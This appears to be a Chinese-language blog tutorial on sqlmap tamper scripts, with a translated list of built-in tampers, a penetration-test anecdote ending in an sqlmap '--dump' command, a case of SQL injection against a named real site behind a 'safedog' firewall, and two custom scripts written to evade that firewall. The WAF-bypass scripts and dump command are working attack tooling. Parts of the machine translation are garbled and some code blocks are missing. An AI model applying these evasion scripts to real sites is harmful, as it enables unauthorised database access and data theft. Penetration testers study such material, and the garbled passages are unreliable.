查看sqlmap全部腳本
$ python sqlmap.py --list-tampers
使用方法
--tamper=TAMPER
2019.9更新后翻譯
* apostrophemask.py-用其UTF-8全角字符替換撇號(')(例如'->%EF%BC%87)
* apostrophenullencode.py-用非法的雙unicode替換撇號(')(例如'->%00%27)
* appendnullbyte.py-在有效載荷的末尾附加(訪問)NULL字節字符(%00)
* base64encode.py-Base64對給定有效載荷中的所有字符進行編碼
* between.py- 替換較大比運算符('>')帶有'NOT BETWEEN 0 AND#',等於運算符('=')與'BETWEEN#AND#'
* bluecoat.py-用有效的隨機空白字符替換SQL語句后的空格字符。然后用運算符LIKE替換字符'='
* chardoubleencode.py-雙重URL編碼給定有效負載中的所有字符(未處理已編碼)(例如SELECT->%2553%2545%254C%2545%2543%2554)
* charencode.py-URL編碼中的所有字符給定的有效載荷(不處理已經編碼的)(例如SELECT->%53%45%4C%45%43%54)
* charunicodeencode.py-Unicode-URL編碼給定的有效載荷中的所有字符(不處理已經編碼的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)
* charunicodeescape.py-Unicode轉義給定有效負載中的未編碼字符(未處理已編碼的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)
* commalesslimit.py-用'LIMIT N OFFSET M'替換(MySQL)實例,例如'LIMIT M,N'
* commalessmid.py-用'MID(A FROM B FOR C)'替換(MySQL)實例,例如'MID(A,B,C)'
* commentbeforeparentheses.py-在括號前加(內聯)注釋(例如((-> / ** /()
* concat2concatws.py-用'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等價物(相當於)替換(MySQL)實例,例如'CONCAT(A,B)' 。
* equaltolike.py- 將所有出現的等於('=')運算符替換為'LIKE'
* escapequotes.py-斜杠轉義單引號和雙引號(例如'-> \')
* great.py- 替換大於運算符('>' )和'GREATEST'對應
* Halfversionedmorekeywords.py-在每個關鍵字
* hex2char.py-替換每個(MySQL)0x等效的CONCAT(CHAR(),...)編碼字符串
* htmlencode.py-HTML編碼(使用代碼點)所有非字母數字字符(例如'->')
* ifnull2casewhenisnull.py-替換'IFNULL( A,B)'與'CASE WHEN ISNULL(A)THEN(B)ELSE(A)END'對應
* ifnull2ifisnull.py-用'IF(ISNULL(A),B)替換'IFNULL(A,B)'之類的實例,A)'對應
* informationschemacomment.py-在所有出現的(MySQL)“ information_schema”標識符的末尾添加一個內聯注釋(/ ** /)
* least.py 用'LEAST'對應替換大於運算符('>')
* lowercase.py-用小寫值替換每個關鍵字字符(例如SELECT->選擇)
* luanginx.py-LUA-Nginx WAF繞過(例如Cloudflare)
* modsecurityversioned.py-包含帶有(MySQL)版本注釋的完整查詢
* modsecurityzeroversioned.py-包含帶有(MySQL)零版本注釋的完整查詢
* multiplespaces.py-在SQL關鍵字周圍添加多個空格('')
* overlongutf8.py-將給定有效載荷中的所有(非字母數字)字符轉換為超長UTF8(未處理已編碼)(例如'->%C0%A7)
* overlongutf8more.py-將給定有效載荷中的所有字符轉換為超長UTF8(尚未處理編碼)(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
* percent.py-在每個字符前面添加一個百分號('%') (例如SELECT->%S%E%L%E%C%T)
* plus2concat.py-替換加號運算符('+')與(MsSQL)函數CONCAT()對應
* plus2fnconcat.py-用(MsSQL)ODBC函數{fn CONCAT()}替換加號('+')對應項
* randomcase.py-用隨機大小寫值替換每個關鍵字字符(例如SELECT-> SEleCt)
* randomcomments.py -在SQL關鍵字內添加隨機內聯注釋(例如SELECT-> S / ** / E / ** / LECT)
* sp_password.py-將(MsSQL)函數'sp_password'附加到有效負載的末尾,以便從DBMS日志中自動進行混淆
* space2comment.py-用注釋'/ ** /' 替換空格字符('')
* space2dash.py-用短划線注釋('-')替換空格字符(''),后跟一個隨機字符串和一個新的行('\ n')
* space2hash.py-用井字符('#')替換(MySQL)空格字符('')實例,后跟隨機字符串和換行('\ n')
* space2morecomment.py-替換(MySQL)帶注釋'/ ** _ ** /' 的空格字符('')實例
* space2morehash.py-用井號('#')后面跟一個隨機字符串替換(MySQL)空格字符('')實例和新行('\ n')
* space2mssqlblank.py-用有效的替代字符集中的隨機空白字符替換空間字符('')的(MsSQL)實例
* space2mssqlhash.py-替換空間字符('' )和井號('#'),后接換行('\ n')
* space2mysqlblank.py-用有效替代字符集中的隨機空白字符替換(MySQL)空格字符('')實例
* space2mysqldash.py-用破折號('-')替換空格字符('') )后跟換行('\ n')
* space2plus.py-用加號('+')替換空格字符('')
* space2randomblank.py-用空格中的隨機空白字符替換空格字符('')有效的替代字符集
* substring2leftright.py-用LEFT和RIGHT替換PostgreSQL SUBSTRING
* symbolicologic.py-用其符號對應物(&&和||)替換AND和OR邏輯運算符
* unionalltounion.py-用UNION SELECT對應項替換UNION ALL SELECT的實例
* unmagicquotes.py-用多字節組合%BF%27替換引號字符('),並在末尾添加通用注釋(以使其起作用)
* uppercase.py-用大寫值替換每個關鍵字字符(例如select -> SELECT)
* varnish.py-附加HTTP標頭'X-originating-IP'以繞過Varnish防火牆
* versionedkeywords.py-用(MySQL)版本注釋將每個非功能性關鍵字括起來
* versionedmorekeywords.py-將每個關鍵字包含(MySQL)版本注釋
* xforwardedfor.py-附加偽造的HTTP標頭'X-Forwarded-For'
tamper腳本編寫
拿第一個腳本apostrophemask來說
from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST # 優先級設置 def dependencies(): # 當前腳本適用和不適用的情況,一般pass pass def tamper(payload, **kwargs): # tamper函數為自定義你的payload """ Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * http://lukasz.pilorz.net/testy/unicode_conversion/ * http://sla.ckers.org/forum/read.php?13,11562,11850 * http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload
該腳本將 ’ 全部替換為%EF%BC%87最后返回payload
return payload.replace('\'', "%EF%BC%87") if payload else payload
具體測試情況可以添加你自己的payload,比如繞過waf,參數測試修改,下面是一些案例
一些案例
國外案例:
在最近的滲透測試中,BURP Suite在目標網站中發現了一些盲目的SQL注入漏洞。將SQLMAP指向該網站表示對我們沒有任何愛,只是說它無法利用該網站。我已經向客戶提到了SQLi問題,他說以前的滲透測試人員說它們無法利用。我們還是決定仔細看看。該網站的網址看起來很奇怪。我不能專門談論有問題的網站,但是URI看起來像這樣:
HTTP://www.example.tgt/website.php QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr
您會注意到字段名稱(帶紅色下划線的名稱)具有非常奇怪的名稱。起初我以為這些只是怪異的字段名稱。也許開發人員有一些我不理解的字段代號。但是后來我注意到這些值(在BLUE中加下划線)也很奇怪。URL上的任何信息對我來說都沒有任何意義。我抓住了一個同事,我們花了一些時間試圖弄清楚正在使用哪種奇怪的編碼。該Web應用程序具有一些有用的功能,這些功能使翻譯很容易弄清楚。如果我們"AAAAAAAAA"
在網站搜索頁面的ACCOUNT NUMBER字段中輸入內容,則會看到它將我們重定向到包含URI的網頁'QnnyBZ4_ZB6qvm=QQQQQQQQQ'
。當我們搜索其中的ACCOUNT NUMBER時'BBBBBBBBB"
,我們進入帶有URI的網頁'QnnyBZ4_ZB6qvm=qqqqqqqqq'
。顯然,URL上使用了某種類型的字符替換密碼。帳號的最大大小為9個字符。但是通過一些查詢,我可以弄清楚整個字符集映射。我搜索了一個ACCOUNT NUMBER,"ABCDEFGHI"
發現一個包含的URI 'QnnyBZ4_ZB6qvm=QqnPvka03'
。我搜索'JKLMNOPQR'
並找到了一個包含的URI 'QnnyBZ4_ZB6qvm=wMU6Zybjm'
。我對每個大寫,小寫和數字字符都重復了此過程,很快我得到了以下字符映射。
普通字母='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
加密字母='QqnPvka03wMU6ZybjmK4BRSEWdVishgClpI1AouFNOJ9zrtL2Yef7Tc8GxDHX5'
Python使在兩組字符之間轉換變得容易。使用Python 3,我們可以執行以下操作:
這將單詞"HELLO"
轉換為"OvUUy"
使用指定的字符映射。maketrans的參數"FROM STRING"
后面是"TO STRING"
。朝另一個方向前進只是簡單地反轉傳遞給str.maketrans()的參數並傳遞(encrypted_letter,normal_letters)
在Python2中,您必須導入字符串模塊,因為maketrans函數存儲在此處。但是除此之外,語法是相同的。
現在,我可以解碼網址了!因此,我們嘗試了前面看到的URL。
真棒。現在這是我能理解的。現在我們可以自由地對攻擊進行編碼和解碼了,我們在手動利用方面取得了更大的成功。但是我很懶!我希望SQLMAP為我自動化攻擊!如果我不告訴SQLMAP如何對它的注入進行編碼,那么它將不適用於該網站。SQLMAP篡改腳本旨在實現這一目的。SQLMAP隨"TAMPER"
腳本一起分發,以執行一些任務,例如在注入結束時添加NULL字節或隨機化查詢中字母的大小寫。創建一個自定義篡改腳本來進行字符轉換非常簡單。SQLMAP使用的是Python2,因此我們必須導入字符串模塊。但是,以其他篡改腳本之一為例,我們快速編寫了以下內容:
我們將此新文件保存為“ custom_caesar.py”,並將其放置在SQLMAP的“ tamper”目錄中。然后,將腳本名稱傳遞給-tamper參數。
python sqlmap.py -u“ https://www.example.tgt/webapp.php?QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr ” -tamper = custom_caesar.py -dump
然后坐下來觀看SQLMAP的勝利之路。幾行自定義Python代碼將此漏洞從“無法利用的誤報”變為嚴重的漏洞,需要立即引起注意。使用篡改腳本后,我們可以使用SQLMAP訪問數據庫中的所有內容,從而節省了手動開發和編碼的時間。只需將3行自定義Python代碼插入到現有的篡改腳本模板中即可。
烏雲案例:中國國際廣播電視信息網絡展覽會 主站:
介紹:http://**.**.**.**bn.tv/channels/4.html
漏洞url:
遇到狗:
繞過:
字段數:
然后union
提示類型不匹配。。。
然后全部替換為NULL,報錯
字段太多,需要去對應探測,但是有可能是多個NULL,所以直接用SQLMap去跑,需要自定sqlmap腳本
然后就有如下語句:
僅做證明,未深入。。。
========================================================
space2myscript.py腳本:
一些腳本案例:
傾旋的腳本:
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload,**kwargs): if payload: bypass_SafeDog_str = "/*x^x*/" # 一個干擾字符 payload=payload.replace("UNION",bypass_SafeDog_str+"UNION"+bypass_SafeDog_str) # 在UNION的左右兩邊添加干擾字符 payload=payload.replace("SELECT",bypass_SafeDog_str+"SELECT"+bypass_SafeDog_str) # 同上, payload=payload.replace("AND",bypass_SafeDog_str+"AND"+bypass_SafeDog_str) # 同上, payload=payload.replace("=",bypass_SafeDog_str+"="+bypass_SafeDog_str) # 將空格替換成干擾字符 payload=payload.replace(" ",bypass_SafeDog_str) payload=payload.replace("information_schema.","%20%20/*!%20%20%20%20INFOrMATION_SCHEMa%20%20%20%20*/%20%20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/") # 將information_schema.這個關鍵字替換成URL編碼后的內容 payload=payload.replace("FROM",bypass_SafeDog_str+"FROM"+bypass_SafeDog_str) # 同樣替換 #print "[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version ." print payload # 輸出Payload return payload # 返回Payload
#!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload): if payload: pass payload = payload.replace("SLEEP(5)","\"0\" LikE Sleep(5)") # 將SLEEP(5)替換成"0" LIKE Sleep(5),因為Sleep()函數執行后會返回0,0等於0就會返回true payload = payload.replace("","/*FFFFFFFFFFFFFFFFFFFFFFFFF*/") # 將空格替換 p = re.compile(r'(\d+)=') payload=p.sub(r"'\1'LikE ", payload) #將數字附近的=替換成LikE return payload # 返回payload